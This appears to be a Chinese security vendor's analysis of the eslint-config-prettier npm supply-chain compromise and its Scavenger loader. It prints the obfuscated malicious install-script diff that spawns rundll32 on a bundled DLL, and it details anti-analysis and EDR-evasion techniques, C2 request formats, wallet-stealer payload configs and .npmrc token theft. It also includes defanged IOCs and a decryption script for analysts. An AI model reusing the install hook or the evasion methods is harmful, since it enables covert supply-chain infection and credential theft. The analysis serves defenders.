原创 zhi0yuan 2025-08-21 14:50 北京
从npm包到恶意加载器:Scavenger正隐身入侵您的开发环境!
JounQin 是多个热门 npm 包(包括 eslint-config-prettier)的维护者,他的 npm 账户在一次网络钓鱼攻击中被盗。攻击者利用该被盗账户发布了 6 个包含恶意代码的 eslint-config-prettier 版本,以及另外 3 个该账户可访问的 npm 包。受影响的这些包总下载量约为每周 7800 万次,而该被盗账户所拥有权限的所有包,每周总下载量约达 1.8 亿次。此事件分配的CVE为CVE-2025-54313。
一、时间线
2025年7月18日,GitHub 用户 dasa 在 eslint-config-prettier 仓库中提交了issue#339,披露该项目在 npm 上出现了异常的新版本发布。对其中一个新发布版本使用npm package diff进行查差异对比后,确实发现了一些异常和可疑之处。特别是在 10.1.7 版本的 package.json 文件中,新增了一个安装脚本。
2025年7月19日,eslint-config-prettier 的维护者 JounQin 发推文披露,他在一次电子邮件钓鱼攻击中受骗,攻击者借此获取了他所维护的多个 npm 项目的发布权限。随后,有多个 npm 包被发布了包含恶意代码的版本,其中影响最大的是 eslint-config-prettier,根据 npm 数据,其每周下载量高达 3100 万次。
JounQin的推文还发布了受到影响的软件包。
eslint-config-prettier
影响版本: 8.10.1 、9.1,1、10.1.6、10.1.7eslint-plugin-prettier
影响版本: 4.2.2、4.2.3snyckit
影响版本: 0.11.9@pkgr/core
影响版本: 0.2.8napi-postinstall
影响版本: 0.3.1
截至目前的分析表明,被篡改的包中嵌入了一个 PE32+ 二进制文件 二、有何影响node-gyp.dll,其作用是投递名为 Scavenger 的恶意软件。这使得此次攻击仅限于影响 Windows 系统。由于恶意载荷的特性,GNU/Linux 发行版和 macOS 设备不太可能受到影响。被感染的系统很可能会被植入 Scavenger 恶意软件,攻击者可借此窃取文件、获取凭证,并执行其他恶意行为。
三、技术分析
在eslint-config-prettier包10.1.7版本中,添加了一个名为install.js的后门安装脚本,该脚本包含了一个在npm包安装时,执行的一个名为logDiskSpace()函数。
+function logDiskSpace() {+ try {+ if(os.platform() === 'win32') {+ const tempDir = os.tmpdir();+ require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32", + [path.join(__dirname, './node-gyp' + '.dll') + ",main"]);+ log(`Temp directory: ${tempDir}`);+ const files = cache.readdirSync(tempDir);+ log(`Number of files in temp directory: ${files.length}`);+ }+ } catch (err) {+ summary.errors++;+ log(`Error accessing temp directory: ${err.message}`);+ }+}
该logDiskSpace函数检查平台是否是win32,如果是将创建一个子进程,使用rundll32.exe执行附带的node-gyp.dll。
(一)Scavenger恶意软件加载
该 DLL 是一种加载型恶意软件的变种,使用 Microsoft Visual Studio C++ 编写,并于 2025 年 7 月 18 日 08:59:38 编译完成(正是恶意包被发布的同一天)。该 DLL 的导出名称为 loader.dll。当通过 rundll32.exe 执行时,其入口点会启动一个独立线程,用于执行核心加载功能。恶意行为主要集中在一个庞大的单一函数中,并包含多种反分析技术,包括:
- 虚拟机(VM)检测规避;
- 杀毒软件检测;
- 运行时函数的动态解析;
- 使用 XOR 进行字符串解密;
- 通过 hook 修补,绕过杀毒软件与终端检测响应(EDR)系统。
这些技术使得该恶意软件更难被发现与分析。
(二)虚拟机检测规避
该加载器会尝试判断自己是否运行在虚拟环境中,方法是调用 GetSystemFirmwareTable 函数,并将 FirmwareTableProviderSignature 参数设置为 RSMB,以获取原始的 SMBIOS 固件表提供者,通过这个接口,恶意代码可以枚举 SMBIOSTableData,查找是否存在常见虚拟机的 BIOS 名称,例如VMware、QEMU等,从而判断是否处于虚拟机环境中。
(三)杀毒软件检测
加载程序还会枚举以下 DLL 的进程空间:
- snxhk.dll(Avast 的钩子库)
- Sf2.dll(Avast 相关)
- SxIn.dll(奇虎360)
- SbieDll.dll(沙盒)
- cmdvrt32.dll(Comodo 防病毒软件)
- winsdk.dll
- winsrv_x86.dll
- Harmony0.dll(可能与 lib.harmony 修补项目有关)
- Dumper.dll(可能与内存转储有关)
- vehdebug-x86_64.dll(与 CheatEngine 相关)
(四)其他反分析检查
该恶意加载器还使用了多种技术手段来规避虚拟环境或分析环境,具体包括:
- 处理器数量检测 通过调用
NtQuerySystemInformation函数获取BASIC_SYSTEM_INFORMATION结构体,并检查其中的NumberOfProcessors字段。只有当处理器数量超过 3 个时,才会继续执行。这是为了规避通常配置较低的虚拟机或沙箱环境。 - 控制台检测 尝试使用
WriteConsoleW向控制台写入“0 字节”的数据,并根据操作是否成功来判断是否运行在真实的控制台环境中。分析沙箱或重定向输出的环境中,这种调用可能会失败。 - 自我存在性检查 检查
%TEMP%\SCVNGR_VM目录是否已存在。如果该目录已存在,说明该恶意软件可能已经在该系统上运行过。
如果任何一项检查成功,加载器就会故意引发空指针异常,从而导致加载器崩溃。
(五)函数哈希解析、Hook识别与反Hook处理
除了前面提到的反分析技术,该恶意样本还使用了基于 CRC32 和自定义值表的动态函数解析机制,来获取运行时所需的所有函数地址。
与常见恶意软件不同,这个样本并不会在启动时一次性解析所有函数,而是每次需要用到某个函数时就临时动态解析一次,这在恶意代码中较为罕见,可能是为了进一步规避静态分析或内存特征匹配。
Scavenger Loader 会使用间接系统调用方式来调用以下关键函数:
NtSetInformationThread:用于设置ThreadHideFromDebugger标志,以隐藏线程不被调试器检测;NtQuerySystemInformation:用于获取系统信息,如前文所述的处理器数量等。
间接系统调用的解析与构造步骤如下:
- 从 ntdll.dll 动态解析目标函数地址;
- 使用
NtAllocateVirtualMemory分配一段新的内存缓冲区; - 在新分配的内存首地址写入指令
mov r10, rcx(这是系统调用的标准前置指令); - 将
ntdll中目标函数的原始字节(从syscall指令前开始)复制到新缓冲区的第二个偏移位置,直到找到syscall指令,以获取对应的syscall编号; - 最后,在缓冲区末尾写入
syscall和retn指令,形成完整的函数封装; - 后续通过该缓冲区地址进行函数调用,实现“无 ntdll 直接跳转”的间接系统调用。
(六)字符串解密
所有字符串都使用了 https://github.com/JustasMasiulis/xorstr 项目进行保护。该项目会在编译期对字符串进行 XOR 加密,将恶意程序中原本的字符串常量替换为运行时的解密逻辑。
这意味着在整个二进制程序中,所有原始字符串(如函数名、路径、关键字等)都不会以明文形式出现,而是通过 XOR 加密存储,在需要时由代码动态解密。这是一种常见的反分析技术,用于隐藏恶意行为。
为了分析这种加密的字符串,可以使用下面这段适用于 64 位程序的 Binary Ninja 脚本对其进行解密:
import structimport binaryninjaimport sysimport json# Let's capture each assignment instructiondef match_LowLevelIL_18002def6_0(insn): # rax = 0x17662843e35b915e if insn.operation != binaryninja.LowLevelILOperation.LLIL_SET_REG: returnFalse if insn.dest.name != 'rax': returnFalse # 0x17662843e35b915e if insn.src.operation != binaryninja.LowLevelILOperation.LLIL_CONST: returnFalse returnTruebinary = sys.argv[1]# The obfuscator makes these functions huge, so we need to adjust the defaults and only do basic analysis to get LLILbv = binaryninja.load(binary, options={'analysis.mode': 'basic', 'analysis.limits.maxFunctionSize': 100000000, 'pdb.features.parseSymbols': False})bb_start = set()# Here we capture each assignment from each basic block# that meets our criteria. Limit each "stack' to a basic blockfor func in bv.functions: #print(f"Function: {hex(func.start)}") for bb in func.llil: for instr in bb: if match_LowLevelIL_18002def6_0(instr): bb_start.add(instr.il_basic_block[0].address)# We then filter each "stack" to use only those with high# amount of assignments (encrypted strings)high_assigns = []stack = []for start in bb_start: stack = [] for cbb in bv.get_functions_containing(start)[0].llil: if cbb[0].address == start: for instr in cbb: if match_LowLevelIL_18002def6_0(instr): stack.append(instr) if len(stack) >= 4: high_assigns.append(stack)result = {}for stack in high_assigns: # Each captured stack is effectively made up of one half of keys # and the other half of ciphertext. So we just need to iterate # over each half respectively to cover each string. slen = len(stack)//2 rqs = [] cts = stack[:slen] keys = stack[slen:] for i, ct in enumerate(cts): rqs.append(ct.src.constant ^ keys[i].src.constant) print(f"Result for: {stack[0].address:2x}: {(struct.pack('Q'*len(rqs), *rqs)).decode('ascii')}") result[hex(stack[0].address)] = (struct.pack('Q'*len(rqs), *rqs)).decode('ascii').split("\x00")[0]f = open(f'{sys.argv[1]}.json', 'w')f.write(json.dumps(result))f.close()
(七)加载器功能分析
在通过所有反分析检测(如虚拟机检查、控制台检测、Hook规避等)后,Scavenger 加载器会进入其核心功能阶段:与 C2(命令与控制)服务器通信,并下载适配的恶意模块。
所有反分析检查通过后,加载程序将使用 C++ libcurl 库向一组硬编码的 C2 地址执行 HTTP GET 请求,URL 格式如下:https://{C2 Domain}/c/k2/N63r2SLz 上,以创建会话密钥,用于使用 XXTEA 分组密码加密和解密命令与控制 (C2) 通信。
然后,加载器继续以 https[:]//{C2 Domain}/c/v?v={Pseudo-Random Value} 的格式发出第二个 C2 请求,C2 会返回一个响应,其中包含使用给定会话密钥加密的指定值。加载器随后使用 XXTEA 解密该值,并检查其是否与指定值匹配。如果不匹配,加载器将执行与反分析检查相同的崩溃机制。
然后,加载器以以下格式执行 GET 请求:https[:]//{C2 Domain}/pl?=-&t={Epoch Time Integer}&s={XXTEA Encrypted Epoch Time Integer}。此请求向加载器提供了多个可用的有效载荷,其中包含一个 Base64 编码的 XXTEA 加密 blob。解密后的载荷包含以下 JSON 数据:
[ { "enabled": true, "identifier": "shiny", "drop_name": "version.dll", "next_to_match": "notification_helper.exe", "next_to_extra_nav": "\\..\\..\\", "next_to_extra_nav_confirmation": "anifest.xml" }, { "enabled": true, "identifier": "electric", "drop_name": "umpdc.dll", "next_to_match": "electrum\\servers.json", "next_to_extra_nav": "\\..\\..\\", "next_to_extra_nav_confirmation": "" }, { "enabled": true, "identifier": "exodus", "drop_name": "profapi.dll", "next_to_match": "\\Exodus.exe", "next_to_extra_nav": "\\..", "next_to_extra_nav_confirmation": "v8_context_snapshot.bin" }]
此 JSON 配置提供了各种有效载荷选项,这些选项可能根据加载程序感染的系统环境进行选择。根据我们目前的观察,每个有效载荷都是一个窃取模块,它将根据其执行的环境收集信息。然后,加载程序可以使用以下 URL 格式下载模块:https://{C2 Domain}/pdl?p={Identifier Name}&t={Epoch Time Integer}&s={XXTEA Encrypted Epoch Time Integer}FuckOff 加密的模块,该模块将使用 GetTempFileNameA 生成的文件名写入 %TEMP%。然后,临时文件将被读入内存,使用硬编码的 XOR 密钥 FuckOff 解密,并将其写入其各自配置的位置,以便进行 DLL 侧加载或由第三方应用程序执行。
(八)窃取功能
加载器功能完成后,Scavenger Loader 还会从用户系统中读取 npmrc 文件,并以 GET 请求的形式将其发送到 C2 服务器,格式为:https:{C2 Domain}/c/a?={npmrc Base64-Encoded XXTEA Encrypted Data}。这些配置文件通常包含身份验证令牌,可能导致进一步的攻击。
五、IOCs
0254abb7ce025ac844429589e0fec98a84ccefae38e8e9807203438e2f3879501aeab6b568c22d11258fb002ff230f439908ec376eb87ed8e24d102252c83a6e5bed39728e404838ecd679df65048abcb443f8c7a9484702a2ded60104b8c4a975c0aa897075a7bfa64d8a55be636a6984e2d1a5a05a54f0f01b0eb4653e9c7a8c8965147d5b39cad109b578ddb4bfca50b66838779e6d3890eefc4818c79590``90291a2c53970e3d89bacce7b79d5fa540511ae920dd4447fc6182224bbe05c59ec86514d5993782d455a4c9717ec4f06d0dfcd556e8de6cf0f8346b8b8629d4c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441dd4c4ee21009701b4a29b9f25634f3eb0f3b7f4cc1f00b98fc55d784815ef35b``https[:]//ac7b2eda6f14.datahog[.]su/2w3e98t5zh298w3tzhg7982w3t4eghttps[:]//datacrab-analytics[.]comhttps[:]//datahog[.]suhttps[:]//datalytica[.]suhttps[:]//dieorsuffer[.]comhttps[:]//firebase[.]suhttps[:]//smartscreen-api[.]com
六、相关链接
https://safedep.io/eslint-config-prettier-major-npm-supply-chain-hack/
https://npmdiff.dev/eslint-config-prettier/10.1.5/10.1.7
https://malpedia.caad.fkie.fraunhofer.de/details/win.scavenger
https://c-b.io/2025-07-20+-+Install+Linters%2C+Get+Malware+-+DevSecOps+Speedrun+Edition
山石网科是中国网络安全行业的技术创新领导厂商,由一批知名网络安全技术骨干于2007年创立,并以首批网络安全企业的身份,于2019年9月登陆科创板(股票简称:山石网科,股票代码:688030)。
现阶段,山石网科掌握30项自主研发核心技术,申请570多项国内外专利。山石网科于2019年起,积极布局信创领域,致力于推动国内信息技术创新,并于2021年正式启动安全芯片战略。2023年进行自研ASIC安全芯片的技术研发,旨在通过自主创新,为用户提供更高效、更安全的网络安全保障。目前,山石网科已形成了具备“全息、量化、智能、协同”四大技术特点的涉及基础设施安全、云安全、数据安全、应用安全、安全运营、工业互联网安全、信息技术应用创新、AI安全、安全服务、安全教育等10大类产品及服务,50余个行业和场景的完整解决方案。